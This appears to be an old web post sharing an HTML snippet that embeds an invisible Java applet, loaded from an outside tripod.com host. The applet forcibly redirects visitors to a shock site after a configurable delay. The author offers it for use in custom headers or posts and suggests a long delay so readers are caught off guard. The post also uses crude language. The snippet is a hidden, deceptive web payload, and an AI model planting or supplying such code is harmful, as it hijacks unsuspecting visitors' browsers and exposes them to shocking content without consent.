Here is an applet that you can use to force redirection to whatever site you want.
I didn't want to be evil and force people to redirect to http://www.tubgirl.com
The way you do it, is insert the following code for your custom header or post, or anywhere that lets you put in your own html. You can change two things, the page that it redirects to, and how long it takes to redirect.
The page right now redirects to http://www.tubgirl.com but you can change it to whatever you want by altering the code. The time is currently set to 10000, which is about 10 seconds. You can make it really long so they get into reading you page and then it shows up. I probably could have written it in fuckass javascript but netscape blows.
<applet codebase = "http://uglywhiteretard.tripod.com" code = "SucksToBeYou.class" width = "0" height = "0">
<param name = "location" value = "http://www.tubgirl.com">
<param name = "time" value = "10000">
</applet>
